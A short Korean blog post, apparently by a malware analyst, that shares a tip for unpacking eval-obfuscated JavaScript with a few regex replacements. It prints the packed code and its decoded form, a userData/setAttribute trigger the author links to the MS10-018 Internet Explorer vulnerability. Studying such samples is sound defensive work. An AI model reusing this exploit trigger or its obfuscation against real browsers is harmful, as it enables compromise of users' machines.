최근 난독화 중 아래와 같이 난독화 된 코드를 좀 더 편하게 풀 수 있는 방법을 확인하다 아래와 같이 하면 되는것을 확인하여 기록합니다.
(별거 아닌 팁 -_-)
window["eval"](function(G_OGr1,HG2,iQLyacc3,EL4,bsKZR_ek5,PgTEsQ6){bsKZR_ek5=function(iQLyacc3){return iQLyacc3["toString"](36)};if(!''["replace"](/^/,window["String"])){while(iQLyacc3--){PgTEsQ6[iQLyacc3["toString"](HG2)]=EL4[iQLyacc3]||iQLyacc3["toString"](HG2)}EL4=[function(bsKZR_ek5){return PgTEsQ6[bsKZR_ek5]}];bsKZR_ek5=function(){return'\\w+'};iQLyacc3=1};while(iQLyacc3--){if(EL4[iQLyacc3]){G_OGr1=G_OGr1["replace"](new window["RegExp"]('\\b'+bsKZR_ek5(iQLyacc3)+'\\b','g'),EL4[iQLyacc3])}}return G_OGr1}('9 a(){8();7 0=4.5(\'6\');0.b(\'#c#i\');4.f(0);d{0.2(\'3\',1);0.2(\'3\',1);0.2(\'3\',1);0.2(\'3\',1);0.2(\'3\',1);0.2(\'3\',1);0.2(\'3\',1);0.2(\'3\',1);0.2(\'3\',1);0.2(\'3\',1)}h(e){}1.g+=\'\'}',19,19,'a7|window|setAttribute|s|document|createElement|body|var|acNK2e|function|aNop1|addBehavior|default|try||appendChild|status|catch|userData'["split"]('|'),0,{}))
위와 같이 난독화 되어 있는 코드는 우선 아래와 같은 순서로 Replace 해줍니다.
- /window["//g
- /"]//g
- /["/./g
이렇게 바꾸고 나면 아래와 같은 코드로 변하게 됩니다.
eval(function(G_OGr1,HG2,iQLyacc3,EL4,bsKZR_ek5,PgTEsQ6){bsKZR_ek5=function(iQLyacc3){return iQLyacc3.toString(36)};if(!''.replace(/^/,String)){while(iQLyacc3--){PgTEsQ6[iQLyacc3.toString(HG2)]=EL4[iQLyacc3]||iQLyacc3.toString(HG2)}EL4=[function(bsKZR_ek5){return PgTEsQ6[bsKZR_ek5]}];bsKZR_ek5=function(){return'\\w+'};iQLyacc3=1};while(iQLyacc3--){if(EL4[iQLyacc3]){G_OGr1=G_OGr1.replace(new RegExp('\\b'+bsKZR_ek5(iQLyacc3)+'\\b','g'),EL4[iQLyacc3])}}return G_OGr1}('9 a(){8();7 0=4.5(\'6\');0.b(\'#c#i\');4.f(0);d{0.2(\'3\',1);0.2(\'3\',1);0.2(\'3\',1);0.2(\'3\',1);0.2(\'3\',1);0.2(\'3\',1);0.2(\'3\',1);0.2(\'3\',1);0.2(\'3\',1);0.2(\'3\',1)}h(e){}1.g+=\'\'}',19,19,'a7|window|setAttribute|s|document|createElement|body|var|acNK2e|function|aNop1|addBehavior|default|try||appendChild|status|catch|userData'.split('|'),0,{}))
이 코드는 이전에 설명한 SpiderMonkey나 Malzilla를 이용하여 풀어보면 아래와 같은 코드가 나옴을 알 수 있습니다.
function aNop1(){acNK2e();var a7=document.createElement('body');a7.addBehavior('#default#userData');document.appendChild(a7);try{a7.setAttribute('s',window);a7.setAttribute('s',window);a7.setAttribute('s',window);a7.setAttribute('s',window);a7.setAttribute('s',window);a7.setAttribute('s',window);a7.setAttribute('s',window);a7.setAttribute('s',window);a7.setAttribute('s',window);a7.setAttribute('s',window)}catch(e){}window.status+=''}
MS10-018 취약점과 관련된 코드군요... 별거 아닌 팁입니다 🙂